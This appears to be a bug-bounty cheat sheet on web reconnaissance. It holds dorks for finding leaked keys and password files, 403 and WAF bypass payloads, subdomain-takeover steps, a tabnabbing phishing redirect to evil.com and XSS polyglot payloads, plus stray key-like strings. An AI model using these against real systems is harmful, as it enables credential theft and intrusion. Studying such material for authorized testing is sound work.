ORG_GRADLE_PROJECT_SONATYPE_NEXUS_PASSWORD=
ORG_GRADLE_PROJECT_SONATYPE_NEXUS_USERNAME=
ORG_ID=
ORG_PROJECT_GRADLE_SONATYPE_NEXUS_PASSWORD=
ORG_PROJECT_GRADLE_SONATYPE_NEXUS_USERNAME=
OS
OSSRH_JIRA_PASSWORD=
OSSRH_JIRA_USERNAME=
OSSRH_PASS=
OSSRH_PASSWORD=
OSSRH_SECRET=
OSSRH_USER=
OSSRH_USERNAME=
OS_AUTH_URL=
OS_PASSWORD=
OS_PROJECT_NAME=
OS_TENANT_ID=
OS_TENANT_NAME=
OS_USERNAME=
p8qojUzqtAhPMbZ8mxUtNukUI3liVgPgiMss96sG0nTVglFgkkAkEjIMFnqMSKnTfG812K4jIhp2jCO2Q3NeI=
PACKAGECLOUD_TOKEN=
PAGERDUTY=
PAGERDUTY_APIKEY=
PAGERDUTY_ESCALATION_POLICY_ID=
PAGERDUTY_FROM_USER=
PAGERDUTY_PRIORITY_ID=
PAGERDUTY_SERVICE_ID=
PANTHEON_SITE=
PARSE_APP_ID=
PARSE_JS_KEY=
PASS=
PASSWORD=
passwordTravis=
PAT=
PATH=
PAYPAL_CLIENT_ID=
PAYPAL_CLIENT_SECRET=
PERCY_PROJECT=
PERCY_TOKEN=
PERSONAL_KEY=
PERSONAL_SECRET=
PG_DATABASE=
PG_HOST=
pHCbGBA8L7a4Q4zZihD3HA=
PHP_BUILT_WITH_GNUTLS=
PLACES_APIKEY=
PLACES_API_KEY=
PLACES_APPID=
PLACES_APPLICATION_ID=
plJ2V12nLpOPwY6zTtzcoTxEN6wcvUJfHAdNovpp63hWTnbAbEZamIdxwyCqpzThDobeD354TeXFUaKvrUw00iAiIhGL2QvwapaCbhlwM6NQAmdU3tMy3nZpka6bRI1kjyTh7CXfdwXV98ZJSiPdUFxyIgFNI2dKiL3BI1pvFDfq3mnmi3WqzZHCaQqDKNEtUrzxC40swIJGLcLUiqc5xX37P47jNDWrNIRDs8IdbM0tS9pFM=
PLOTLY_APIKEY=
PLOTLY_USERNAME=
PLUGIN_PASSWORD=
PLUGIN_USERNAME=
pLytpSCciF6t9NqqGZYbBomXJLaG84=
POLL_CHECKS_CRON=
POLL_CHECKS_TIMES=
PORT=
POSTGRESQL_DB=
POSTGRESQL_PASS=
POSTGRES_ENV_POSTGRES_DB=
POSTGRES_ENV_POSTGRES_PASSWORD=
POSTGRES_ENV_POSTGRES_USER=
POSTGRES_PORT=
PREBUILD_AUTH=
preferred_username=
PRING.MAIL.USERNAME=
PRIVATE_SIGNING_PASSWORD=
PROD.ACCESS.KEY.ID=
PROD.SECRET.KEY=
PROD_BASE_URL_RUNSCOPE=
PROD_PASSWORD=
PROD_USERNAME=
PROJECT_CONFIG=
props.disabled=
PUBLISH_ACCESS=
PUBLISH_KEY=
PUBLISH_SECRET=
PUSHOVER_TOKEN=
PUSHOVER_USER=
PYPI_PASSOWRD=
PYPI_PASSWORD=
PYPI_USERNAME=
Q67fq4bD04RMM2RJAS6OOYaBF1skYeJCblwUk=
Q=
QIITA=
QIITA_TOKEN=
qQ=
query=
QUIP_TOKEN=
RABBITMQ_PASSWORD=
RABBITMQ_SERVER_ADDR=
raisesAccessibilityExceptions=
RANDRMUSICAPIACCESSTOKEN=
rBezlxWRroeeKcM2DQqiEVLsTDSyNZV9kVAjwfLTvM=
REDIRECT_URI=
REDISCLOUD_URL=
REDIS_STUNNEL_URLS=
REFRESH_TOKEN=
RELEASE_GH_TOKEN=
RELEASE_TOKEN=
remoteUserToShareTravis=
REPO=
REPORTING_WEBDAV_PWD=
REPORTING_WEBDAV_URL=
REPORTING_WEBDAV_USER=
repoToken=
RestoreUseCustomAfterTargets=
REST_API_KEY=
rI=
RINKEBY_PRIVATE_KEY=
RND_SEED=
ROPSTEN_PRIVATE_KEY=
rotatable=
route53_access_key_id=
RTD_ALIAS=
RTD_KEY_PASS=
RTD_STORE_PASS=
rTwPXE9XlKoTn9FTWnAqF3MuWaLslDcDKYEh7OaYJjF01piu6g4Nc=
RUBYGEMS_AUTH_TOKEN=
RUNSCOPE_TRIGGER_ID=
S3-EXTERNAL-3.AMAZONAWS.COM=
S3.AMAZONAWS.COM=
s3_access_key=
S3_ACCESS_KEY_ID=
S3_BUCKET_NAME_APP_LOGS=
S3_BUCKET_NAME_ASSETS=
S3_KEY=
S3_KEY_APP_LOGS=
S3_KEY_ASSETS=
S3_PHOTO_BUCKET=
S3_SECRET_APP_LOGS=
S3_SECRET_ASSETS=
S3_SECRET_KEY=
S3_USER_ID=
S3_USER_SECRET=
SACLOUD_ACCESS_TOKEN=
SACLOUD_ACCESS_TOKEN_SECRET=
SACLOUD_API=
SALESFORCE_BULK_TEST_PASSWORD=
SALESFORCE_BULK_TEST_SECURITY_TOKEN=
SALESFORCE_BULK_TEST_USERNAME=
SALT=
SANDBOX_ACCESS_TOKEN=
SANDBOX_AWS_ACCESS_KEY_ID=
SANDBOX_AWS_SECRET_ACCESS_KEY=
SANDBOX_LOCATION_ID=
SAUCE_ACCESS_KEY=
SAUCE_USERNAME=
scope=
SCRUTINIZER_TOKEN=
SDM4=
sdr-token=
SECRET ACCESS KEY=
SECRET=
SECRETACCESSKEY=
SECRETKEY=
SECRET_0=
SECRET_10=
SECRET_11=
SECRET_1=
SECRET_2=
SECRET_3=
SECRET_4=
SECRET_5=
SECRET_6=
SECRET_7=
SECRET_8=
SECRET_9=
SECRET_KEY_BASE=
SEGMENT_API_KEY=
SELION_LOG_LEVEL_DEV=
SELION_LOG_LEVEL_USER=
SELION_SELENIUM_HOST=
SELION_SELENIUM_PORT=
SELION_SELENIUM_SAUCELAB_GRID_CONFIG_FILE=
SELION_SELENIUM_USE_SAUCELAB_GRID=
SENDGRID=
SENDGRID_API_KEY=
SENDGRID_FROM_ADDRESS=
SENDGRID_KEY=
SENDGRID_PASSWORD=
SENDGRID_USER=
SENDGRID_USERNAME=
SENDWITHUS_KEY=
SENTRY_AUTH_TOKEN=
SENTRY_DEFAULT_ORG=
SENTRY_ENDPOINT=
SERVERAPI_SERVER_ADDR=
SERVICE_ACCOUNT_SECRET=
SES_ACCESS_KEY=
SES_SECRET_KEY=
setDstAccessKey=
setDstSecretKey=
setSecretKey=
setWindowRect=
SGcUKGqyoqKnUg=
SIGNING_KEY=
SIGNING_KEY_PASSWORD=
SIGNING_KEY_SECRET=
SIGNING_KEY_SID=
SK[a-z0-9]{32}
SLACK_CHANNEL=
SLACK_ROOM=
SLACK_WEBHOOK_URL=
SLASH_DEVELOPER_SPACE=
SLASH_DEVELOPER_SPACE_KEY=
SLATE_USER_EMAIL=
SNOOWRAP_CLIENT_ID=
SNOOWRAP_CLIENT_SECRET=
SNOOWRAP_PASSWORD=
SNOOWRAP_REDIRECT_URI=
SNOOWRAP_REFRESH_TOKEN=
SNOOWRAP_USERNAME=
SNOOWRAP_USER_AGENT=
SNYK_API_TOKEN=
SNYK_ORG_ID=
SNYK_TOKEN=
SOCRATA_APP_TOKEN=
SOCRATA_PASSWORD=
SOCRATA_USER=
SOCRATA_USERNAME=
SOMEVAR=
SOME_VAR=
SONAR_ORGANIZATION_KEY=
SONAR_PROJECT_KEY=
SONAR_TOKEN=
sonatypePassword=
sonatypeUsername=
SONATYPE_GPG_KEY_NAME=
SONATYPE_GPG_PASSPHRASE=
SONATYPE_NEXUS_PASSWORD=
SONATYPE_NEXUS_USERNAME=
SONATYPE_PASS=
SONATYPE_PASSWORD=
SONATYPE_TOKEN_PASSWORD=
SONATYPE_TOKEN_USER=
SONATYPE_USER=
SONATYPE_USERNAME=
SONA_TYPE_NEXUS_USERNAME=
SOUNDCLOUD_CLIENT_ID=
SOUNDCLOUD_CLIENT_SECRET=
SOUNDCLOUD_PASSWORD=
SOUNDCLOUD_USERNAME=
SPACE=
SPACES_ACCESS_KEY_ID=
SPACES_SECRET_ACCESS_KEY=
SPA_CLIENT_ID=
SPOTIFY_API_ACCESS_TOKEN=
SPOTIFY_API_CLIENT_ID=
SPOTIFY_API_CLIENT_SECRET=
SPRING.MAIL.PASSWORD=
sqsAccessKey=
sqsSecretKey=
SQS_NOTIFICATIONS_INTERNAL=
SQUARE_READER_SDK_REPOSITORY_PASSWORD=
SRCCLR_API_TOKEN=
SRC_TOPIC=
SSHPASS=
SSMTP_CONFIG=
STAGING_BASE_URL_RUNSCOPE=
STARSHIP_ACCOUNT_SID=
STARSHIP_AUTH_TOKEN=
STAR_TEST_AWS_ACCESS_KEY_ID=
STAR_TEST_BUCKET=
STAR_TEST_LOCATION=
STAR_TEST_SECRET_ACCESS_KEY=
STORMPATH_API_KEY_ID=
STORMPATH_API_KEY_SECRET=
STRIPE_PRIVATE=
STRIPE_PUBLIC=
STRIP_PUBLISHABLE_KEY=
STRIP_SECRET_KEY=
SUBDOMAIN=
SURGE_LOGIN=
SURGE_TOKEN=
SVN_PASS=
SVN_USER=
takesElementScreenshot=
takesHeapSnapshot=
takesScreenshot=
TCfbCZ9FRMJJ8JnKgOpbUW7QfvDDnuL4YOPHGcGb6mG413PZdflFdGgfcneEyLhYI8SdlU=
TEAM_EMAIL=
ted_517c5824cb79_iv=
TESCO_API_KEY=
test=
tester_keys_password=
TEST_GITHUB_TOKEN=
TEST_TEST=
THERA_OSS_ACCESS_ID=
THERA_OSS_ACCESS_KEY=
TN8HHBZB9CCFozvq4YI5jS7oSznjTFIf1fJM=
TOKEN=
token_core_java=
TRAVIS_ACCESS_TOKEN=
TRAVIS_API_TOKEN=
TRAVIS_BRANCH=
TRAVIS_COM_TOKEN=
TRAVIS_E2E_TOKEN=
TRAVIS_GH_TOKEN=
TRAVIS_PULL_REQUEST=
TRAVIS_SECURE_ENV_VARS=
TRAVIS_TOKEN=
TREX_CLIENT_ORGURL=
TREX_CLIENT_TOKEN=
TREX_OKTA_CLIENT_ORGURL=
TREX_OKTA_CLIENT_TOKEN=
TRIGGER_API_COVERAGE_REPORTER=
TRV=
TWILIO_ACCOUNT_ID=
TWILIO_ACCOUNT_SID=
TWILIO_API_KEY=
TWILIO_API_SECRET=
TWILIO_CHAT_ACCOUNT_API_SERVICE=
TWILIO_CONFIGURATION_SID=
TWILIO_SID=
TWILIO_TOKEN=
TWILO=
TWINE_PASSWORD=
TWINE_USERNAME=
TWITTER=
TWITTEROAUTHACCESSSECRET=
TWITTEROAUTHACCESSTOKEN=
TWITTER_CONSUMER_KEY=
TWITTER_CONSUMER_SECRET=
UAusaB5ogMoO8l2b773MzgQeSmrLbExr9BWLeqEfjC2hFgdgHLaQ=
udKwT156wULPMQBacY=
uiElement=
uk=
UNITY_PASSWORD=
UNITY_SERIAL=
UNITY_USERNAME=
URBAN_KEY=
URBAN_MASTER_SECRET=
URBAN_SECRET=
URL=
US-EAST-1.ELB.AMAZONAWS.COM=
USABILLA_ID=
user=
USERNAME=
userToShareTravis=
userTravis=
USER_ASSETS_ACCESS_KEY_ID=
USER_ASSETS_SECRET_ACCESS_KEY=
USE_SAUCELABS=
USE_SSH=
UzhH1VoXksrNQkFfc78sGxD0VzLygdDJ7RmkZPeBiHfX1yilToi1yrlRzRDLo46LvSEEiawhTa1i9W3UGr3p4LNxOxJr9tR9AjUuIlP21VEooikAhRf35qK0=
V3GNcE1hYg=
VAULT_ADDR=
VAULT_APPROLE_SECRET_ID=
VAULT_PATH=
VIP_GITHUB_BUILD_REPO_DEPLOY_KEY=
VIP_GITHUB_DEPLOY_KEY=
VIP_GITHUB_DEPLOY_KEY_PASS=
VIP_TEST=
VIRUSTOTAL_APIKEY=
VISUAL_RECOGNITION_API_KEY=
VSCETOKEN=
VU8GYF3BglCxGAxrMW9OFpuHCkQ=
vzG6Puz8=
V_SFDC_CLIENT_ID=
V_SFDC_CLIENT_SECRET=
V_SFDC_PASSWORD=
V_SFDC_USERNAME=
WAKATIME_API_KEY=
WAKATIME_PROJECT=
WATSON_CLIENT=
WATSON_CONVERSATION_PASSWORD=
WATSON_CONVERSATION_USERNAME=
WATSON_CONVERSATION_WORKSPACE=
WATSON_DEVICE=
WATSON_DEVICE_PASSWORD=
WATSON_DEVICE_TOPIC=
WATSON_PASSWORD=
WATSON_TEAM_ID=
WATSON_TOPIC=
WATSON_USERNAME=
webdavBaseUrlTravis=
WEBHOOK_URL=
webStorageEnabled=
WEB_CLIENT_ID=
WIDGET_BASIC_PASSWORD=
WIDGET_BASIC_PASSWORD_2=
WIDGET_BASIC_PASSWORD_3=
WIDGET_BASIC_PASSWORD_4=
WIDGET_BASIC_PASSWORD_5=
WIDGET_BASIC_USER=
WIDGET_BASIC_USER_2=
WIDGET_BASIC_USER_3=
WIDGET_BASIC_USER_4=
WIDGET_BASIC_USER_5=
WIDGET_FB_PASSWORD=
WIDGET_FB_PASSWORD_2=
WIDGET_FB_PASSWORD_3=
WIDGET_FB_USER=
WIDGET_FB_USER_2=
WIDGET_FB_USER_3=
WIDGET_TEST_SERVER=
WINCERT_PASSWORD=
WORDPRESS_DB_PASSWORD=
WORDPRESS_DB_USER=
WORKSPACE_ID=
WPJM_PHPUNIT_GOOGLE_GEOCODE_API_KEY=
WPORG_PASSWORD=
WPT_DB_HOST=
WPT_DB_NAME=
WPT_DB_PASSWORD=
WPT_DB_USER=
WPT_PREPARE_DIR=
WPT_REPORT_API_KEY=
WPT_SSH_CONNECT=
WPT_SSH_PRIVATE_KEY_BASE64=
WPT_TEST_DIR=
WsleZEJBve7AFYPzR1h6Czs072X4sQlPXedcCHRhD48WgbBX0IfzTiAYCuG0=
WvETELcH2GqdnVPIHO1H5xnbJ8k=
WVNmZ40V1Lt0DYC2c6lzWwiJZFsQIXIRzJcubcwqKRoMelkbmKHdeIk=
WWW.GOOGLEAPIS.COM=
XJ7lElT4Jt9HnUw=
xsax=
xsixFHrha3gzEAwa1hkOw6kvzR4z9dx0XmpvORuo1h4Ag0LCxAR70ZueGyStqpaXoFmTWB1z0WWwooAd0kgDwMDSOcH60Pv4mew=
Y8=
YANGSHUN_GH_PASSWORD=
YANGSHUN_GH_TOKEN=
YEi8xQ=
YHrvbCdCrtLtU=
YO0=
Yszo3aMbp2w=
YT_ACCOUNT_CHANNEL_ID=
YT_ACCOUNT_CLIENT_ID=
YT_ACCOUNT_CLIENT_SECRET=
YT_ACCOUNT_REFRESH_TOKEN=
YT_API_KEY=
YT_CLIENT_ID=
YT_CLIENT_SECRET=
YT_PARTNER_CHANNEL_ID=
YT_PARTNER_CLIENT_ID=
YT_PARTNER_CLIENT_SECRET=
YT_PARTNER_ID=
YT_PARTNER_REFRESH_TOKEN=
YT_SERVER_API_KEY=
YVxUZIA4Cm9984AxbYJGSk=
zendesk-travis-github=
zenSonatypePassword=
zenSonatypeUsername=
zf3iG1I1lI8pU=
zfp2yZ8aP9FHSy5ahNjqys4FtubOWLk=
ZHULIANG_GH_TOKEN=
ZOPIM_ACCOUNT_KEY=
ZZiigPX7RCjq5XHbzUpPpMbC8MFxT2K3jcFXUitfwZvNaZXJIiK3ZQJU4ayKaegLvI91x1SqH0=
\"type\": \"service_account\"
\?AccessKeyId=
\?access_token=
\?account=
\?id=
_02ddd67d5586_key=
_8382f1c42598_iv=
filename:.npmrc _auth
filename:.dockercfg auth
extension:pem private
extension:ppk private
filename:id_rsa or filename:id_dsa
extension:sql mysql dump
extension:sql mysql dump password
filename:credentials aws_access_key_id
filename:.s3cfg
filename:wp-config.php
filename:.htpasswd
filename:.env DB_USERNAME NOT homestead
filename:.env MAIL_HOST=smtp.gmail.com
filename:.git-credentials
PT_TOKEN language:bash
filename:.bashrc password
filename:.bashrc mailchimp
filename:.bash_profile aws
rds.amazonaws.com password
extension:json api.forecast.io
extension:json mongolab.com
extension:yaml mongolab.com
jsforce extension:js conn.login
SF_USERNAME salesforce
filename:.tugboat NOT _tugboat
HEROKU_API_KEY language:shell
HEROKU_API_KEY language:json
filename:.netrc password
filename:_netrc password
filename:hub oauth_token
filename:robomongo.json
filename:filezilla.xml Pass
filename:recentservers.xml Pass
filename:config.json auths
filename:idea14.key
filename:config irc_pass
filename:connections.xml
filename:express.conf path:.openshift
filename:.pgpass
filename:proftpdpasswd
filename:ventrilo_srv.ini
[WFClient] Password= extension:ica
filename:server.cfg rcon password
JEKYLL_GITHUB_TOKEN
filename:.bash_history
filename:.cshrc
filename:.history
filename:.sh_history
filename:sshd_config
filename:dhcpd.conf
filename:prod.exs NOT prod.secret.exs
filename:prod.secret.exs
filename:configuration.php JConfig password
filename:config.php dbpasswd
filename:config.php pass
path:sites databases password
shodan_api_key language:python
shodan_api_key language:shell
shodan_api_key language:json
shodan_api_key language:ruby
filename:shadow path:etc
filename:passwd path:etc
extension:avastlic "support.avast.com"
filename:dbeaver-data-sources.xml
filename:sftp-config.json
filename:.esmtprc password
extension:json googleusercontent client_secret
HOMEBREW_GITHUB_API_TOKEN language:shell
xoxp OR xoxb
.mlab.com password
filename:logins.json
filename:CCCam.cfg
msg nickserv identify filename:config
filename:settings.py SECRET_KEY
filename:secrets.yml password
filename:master.key path:config
filename:deployment-config.json
filename:.ftpconfig
filename:.remote-sync.json
filename:sftp.json path:.vscode
filename:WebServers.xml

Google Dorks

Google Dorks 寻找有趣的内容

inurl:example.com intitle:"index of" 
inurl:example.com intitle:"index of /" "*key.pem"
inurl:example.com ext:log
inurl:example.com intitle:"index of" ext:sql|xls|xml|json|csv
inurl:example.com "MYSQL_ROOT_PASSWORD:" ext:env OR ext:yml -git
inurl:example.com intitle:"index of" "config.db"
inurl:example.com allintext:"API_SECRET*" ext:env | ext:yml
inurl:example.com intext:admin ext:sql inurl:admin
inurl:example.com allintext:username,password filetype:log
site:example.com "-----BEGIN RSA PRIVATE KEY-----" inurl:id_rsa
site:*.gov.* "responsible disclosure"

参考

除了 Google 之外，还可以在各种搜索引擎上尝试这些 dork，例如 Duck Duck Go、Bing 等。

报告

Securing “Reset password” pages from bots

Private Grab Messages on Android App can be accessed and cached by Search Engines

Information disclosure through search engines (password reset token)

Research papers on yelp are getting indexed by google bots.

Shodan CVE Dorks

CVE’s Shodan Dorks.

Big IP shodan Search:-
1
http.title:"BIG-IP®-Redirect" org:Org
CVE 2020-3452
1
http.html_hash:-628873716 “set-cookie: webvpn;”
CVE CVE-2019-11510
1
http.html:/dana-na/
CVE-2020–5902
1
inurl:/tmui/login.jsp

状态码绕过（Status Code Bypass）

403 思维导图

来源

https://twitter.com/hackerscrolls/status/1254701239360720900

一些Twitter实例

https://twitter.com/iam_j0ker/status/1303658167205728256

https://twitter.com/h4x0r_dz/status/1317218511937261570

403 Bypass

我根据自己的个人经验分享所有这些技巧和技术，没有官方参考资料

基于目录

如果您看到目录末尾没有斜杠，则在那里执行这些操作
1
2
3
site.com/secret => 403
site.com/secret/* => 200
site.com/secret/./ => 200

文件库

如果您看到文件末尾没有任何斜杠，则在那里执行这些操作
1
2
3
site.com/secret.txt => 403
site.com/secret.txt/ => 200
site.com/%2f/secret.txt/ => 200

协议基础

嗯，听起来很连线，但请查看示例以更好地理解
1
2
https://site.com/secret => 403
http://site.com/secret => 200

有效载荷

/
/*
/%2f/
/./
./.
/*/

Header

https://observationsinsecurity.com/2020/08/09/bypassing-403-to-get-access-to-an-admin-console-endpoints/
1
X-Forwarded-For: 127.0.0.1

工具

这是我在 Twitter 上找到的一个工具。

https://github.com/yunemse48/403bypasser

概念证明

如果有人分享任何技巧，请务必寻找一些参考资料或概念证明，这样您就可以确认自己根本没有浪费时间。我的 YouTube 频道上有一些关于 403 和其他使用这些方法的不当访问控制错误的 poc 视频。你可以检查它们

YouTube: Mehedi Hasan Remon

子域名接管（Subdomain Takeover）

基础

域名系统

当访问网址时，例如。 “www.xyz.com”，使用主机名跨 DNS 服务器执行 DNS 查询。

DNS 服务器获取主机名并将其解析为数字 IP 地址

别名记录

域名到另一个域名的别名

在下面的示例中，xyz.company.com 是源域，xyz.cloudservice.com 是规范域名。

子域名将自身映射到特定的 IP、Azure、AWS、Heroku、Github、Fastly、Shopify 等第三方服务来提供内容。这些子域使用另一个域的 CNAME 记录 [例如。 xyz.company.com CNAME xyz.cloudservice.com]

现在，由于某种原因，该公司决定停止使用该服务，并为了节省一些费用，该公司取消了第 3 方云服务提供商的订阅。

但是，该公司忘记更新或干脆删除 DNS 区域文件中的 CNAME 记录

由于 CNAME 记录不会从 company.com DNS 区域中删除，因此注册 xyz.cloudservice.com 的任何人都可以完全控制 xyz.company.com，直到 DNS 记录出现。

如何找到子域名接管？

子域名枚举

使用以下工具枚举子域

Assetfinder

Subfinder

Findomain

检查接管情况

以下工具旨在同时扫描子域列表并识别可能被劫持的子域。

Subjack

SubOver

您还可以通过查看常见错误页面来验证子域是否容易受到攻击。

劫持子域名

使用以下 github 存储库检查引擎是否存在漏洞以及劫持特定引擎的步骤。

https://github.com/EdOverflow/can-i-take-over-xyz

如果您在上述存储库中找不到您的引擎，Google就是您的朋友！

案例：CNAME 可供购买

在某些情况下，子域指向的 CNAME 是可以购买的。

在这种情况下，攻击者可以直接购买该域名并托管他/她的内容。

参考

How we Hijacked 26+ Subdomains

Subdomain Takeover: Finding Candidates

Subdomain Takeover: Proof Creation for Bug Bounties

Check out our talk on the same at NULL / OWASP Bangalore meetup, June 2020

报告

subdomain takeover at news-static.semrush.com

Subdomain takeover of resources.hackerone.com

Subdomain takeover at info.hacker.one

Bulgaria - Subdomain takeover of mail.starbucks.bg

Remote code execution by hijacking an unclaimed S3 bucket in Rocket.Chat’s installation script.

Possible SOP bypass in www.starbucks.com due to insecure crossdomain.xml

简单的子域接管方法

Step:

1:Grab all subdomains of target. i.e, subfinder -d flaws.cloud | tee -a domains.txt

2:Run this one liner

3:cat domains.txt | while read domain;do dig  $domain;done | tee -a digs.txt

4::Grab all the CNAME Entries i.e, cat digs.txt | grep CNAME

5:Find a domain that is pointed to third party domain like sub.exampple.com CNAME x.aws.com

6:Check wheather the main subdomain is down

7:Go to host provider where the domain is pointed to and register that domain if you registered congrats you have takeover the subdomain.

Step-1:- First of all collect all subdomain of the target using assetfinder,subfinder,chaos(needs API key).

Step-2:- Next sort out duplicate URLs using -- cat unresolved | sort -u | tee -a resolved

Step-3:- Pass it to subzy,subjack or other subdomain-takeover tool -- using subzy tool  --  subzy -targets resolved , or use subjack

Step-4:- We can also use nuclei templates but we need to first use httpx -- cat resolved | httpx | tee -a hosts

Step-5:- Next use nuclei-templates -- cat hosts | nuclei -t nuclei-templates/vulnerabilites -o nuclei.txt -v 

Tools Used:-

https://github.com/projectdiscovery/nuclei
https://github.com/projectdiscovery/subfinder
https://github.com/projectdiscovery/httpx
https://github.com/projectdiscovery/nuclei-templates
https://github.com/projectdiscovery/chaos-client
https://github.com/haccer/subjack
https://github.com/LukaSikic/subzy

反向标签劫持（Tabnabbing）

尽管此漏洞被许多错误赏金计划评为低严重性错误，但仍然值得寻找它，因为它很容易找到。

有关该漏洞的更多信息：

当进行 tabnabbing 时，攻击者会搜索插入网站并受其控制的链接。例如，此类链接可能包含在论坛帖子中。一旦他找到这种功能，它就会检查链接的rel属性不包含 valuenoopener并且目标属性包含 value _blank。如果是这种情况，则该网站很容易受到 tabnabbing 的攻击。

如何利用：

1. Attacker posts a link to a website under his control that contains the following JS code: window.opener.location = "http://evil.com"
2. He tricks the victim into visiting the link, which is opened in the browser in a new tab.
3. At the same time the JS code is executed and the background tab is redirected to the website evil.com, which is most likely a phishing website.
4. If the victim opens the background tab again and doesn't look at the address bar, it may happen that he thinks he is logged out, because a login page appears, for example.
5. The victim tries to log on again and the attacker receives the credentials

如何搜索它：

正如已经提到的，您必须搜索以下链接格式：
1
2
3
<a href="..." target="_blank" rel="" />  
or
<a href="..." target="_blank" />

使用 Header 绕过 WAF（WAF Bypass）

使用标头绕过WAF（密码重置中毒）

X-Forwarded-Host
X-Forwarded-Port
X-Forwarded-Scheme
Origin: 
nullOrigin: [siteDomain].attacker.com
X-Frame-Options: Allow
X-Forwarded-For: 127.0.0.1
X-Client-IP: 127.0.0.1
Client-IP: 127.0.0.1
Proxy-Host: 127.0.0.1
Request-Uri: 127.0.0.1
X-Forwarded: 127.0.0.1
X-Forwarded-By: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwarded-For-Original: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
X-Forwarded-Server: 127.0.0.1
X-Forwarder-For: 127.0.0.1
X-Forward-For: 127.0.0.1
Base-Url: 127.0.0.1
Http-Url: 127.0.0.1
Proxy-Url: 127.0.0.1
Redirect: 127.0.0.1
Real-Ip: 127.0.0.1
Referer: 127.0.0.1
Referrer: 127.0.0.1
Refferer: 127.0.0.1
Uri: 127.0.0.1
Url: 127.0.0.1
X-Host: 127.0.0.1
X-Http-Destinationurl: 127.0.0.1
X-Http-Host-Override: 127.0.0.1
X-Original-Remote-Addr: 127.0.0.1
X-Original-Url: 127.0.0.1
X-Proxy-Url: 127.0.0.1
X-Rewrite-Url: 127.0.0.1
X-Real-Ip: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Custom-IP-Authorization:127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Original-Url:
X-Forwarded-Server:
X-Host:
X-Forwarded-Host:
X-Rewrite-Url:

弱密码策略（Weak Password Policy）

弱密码策略会增加攻击者对用户帐户使用暴力和字典攻击成功的可能性。能够确定用户密码的攻击者可以接管用户的帐户，并可能访问应用程序中的敏感数据。

有两种方法可以检查这一点

第一种方式

检查您是否可以使用与电子邮件地址相同的密码

检查您是否可以使用与电子邮件地址相同的用户名

在重置密码、创建帐户、从帐户设置更改密码时尝试上述内容

第二种方式

检查您是否可以使用一些弱密码，例如 123456、111111、abcabc、qwerty123

在重置密码、创建帐户、从帐户设置更改密码时尝试上述内容

应用程序在创建帐户时通常对密码有限制，请确保在重置密码时检查这两种情况

参考

All About Weak Password Policy

OWASP Guide for Weak Passwords

XSS

反射型 XSS

市面上有很多方法，但这里有一些最常见的方法，但不限于此。

可以在这里找到一个用于反射 xss 方法的很棒的思维导图

提示：使用其他方法时，请将方法 2 放在终端或 vps 的后台

使用 Burp

下载 burp 的 Reflection 和 Sentinal 插件。

步行并抓取目标站点。

检查 burp 中反射的参数选项卡

发送该信号或手动检查。

使用 Waybackurls 和其他类似网站

使用Gau或Wayback url被动收集目标的 url。

使用或 gf 模式过滤参数grep "="并将其存储在新文件中。

现在在该新文件上运行Gxss或bxss。

手动检查反射参数或使用dalfox等工具

使用Google Dorks

使用 Google Dorksite:target.com过滤结果

site:target.com inurl:".php?"现在通过添加更多 dorks等来搜索具有参数的链接，您可以在此链接 site:target.com filetype:php或 google 上找到一些 dorks 。

检查 param 值是否反映在 html 源代码中

在那里尝试 Xss 负载或将其传递给某些工具

查找源代码中的隐藏变量

检查 Javascript 文件或 html 源文件中是否存在隐藏或未使用的变量

您可以手动勾选右键查看页面源并搜索var=, ="", =''。

现在将其附加到网页网址。例如https://example.com?hiddenvariablename=xss。

其他方法

使用方法 1 或 2 收集 url

使用https://github.com/Ekultek/WhatWaf或其他类似工具枚举防火墙。

通过搜索或在此 Github 存储库中查找 WAF 绕过负载

还可以使用Arjun查找隐藏参数。

Tips

检查错误页面（404,403，..），有时它们包含反射值

通过尝试获取 .htaccess 文件触发 403

尝试每个反映的参数

Videos

https://www.youtube.com/watch?v=wuyAY3vvd9s

https://www.youtube.com/watch?v=GsyOuQBG2yM

https://www.youtube.com/watch?v=5L_14F-uNGk

https://www.youtube.com/watch?v=N3HfF6_3k94

存储的 Xss 方法

存储的Xss大多是手动发现的

使用上述方法枚举防火墙并选择有效负载进行相应测试。

在网站上注册用户名、姓名、地址、电子邮件等字段时，尝试使用选定的 WAF 绕过负载。

在个人资料图片的文件名和图像的源文件中尝试有效负载。

在目标网站上任意位置的评论部分中尝试。

尝试在页面中反映并且其他用户可以看到的每个输入字段。

尝试使用您的姓名 + XSS 负载进行注册，这可能会导致存储的 XSS。尖端

对于每个输入字段

尝试获取<a href=#>test</a>一个实体

尝试获取一个混淆的实体

如果它抓住了什么，就深入

Videos

https://www.youtube.com/watch?v=uHy1x1NkwRU

Writeup

https://medium.com/@fatin151485/how-i-found-my-first-stored-xss-on-popular-eboighar-com-6bd497b0bb96

Blind Xss

与反射型 Xss 或存储型 Xss 类似，但您不会得到任何反射，但会在服务器上得到响应。

与上面给出的类似方法，除了尝试放置有效负载，它可以在执行时在服务器上提供回调。

您可以使用https://xsshunter.com/或使用 burpcollaborator 或 ngrok。

在联系表单或类似功能上尝试一下。

Tips

从 xsshunter 有效负载部分复制每个有效负载并将其粘贴到您看到的每个字段中

XSS Hunter 包含用于 CSP 绕过的有效负载

生成有效负载的一些变体（例如将 < 替换为& lt;）

哪里可以找到Blind XSS……

1- Review forms
2- Contact Us pages
3- Passwords(You never know if the other side doesn’t properly handle input and if your password is in View mode)
4- Address fields of e-commerce sites
5- First or Last Name field while doing Credit Card Payments
6- Set User-Agent to a Blind XSS payload. You can do that easily from a proxy such as Burpsuite.
7- Log Viewers
8- Feedback Page
9- Chat Applications
10- Any app that requires user moderation

DOM XSS

Tips

不建议手动查找 DOM XSS

Burp suite PRO扫描仪可以发现DOM XSS

工具：https://github.com/dpnishant/ra2-dom-xss-scanner

Videos

https://www.youtube.com/watch?v=gBqzzhgHoYg

https://www.youtube.com/watch?v=WclmtS8Ftc4

XSS过滤规避技巧

Tips

< 和 > 可以替换为 html 实体& lt; 和 & gt;

您可以尝试 XSS 多语言

javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>

https://gist.github.com/michenriksen/d729cd67736d750b3551876bbedbe626

XSS防火墙绕过技术

检查防火墙是否仅阻止小写字母

Ex:- <scRipT>alert(1)</scRipT>

尝试使用新行(\r\n) 来破坏防火墙正则表达式

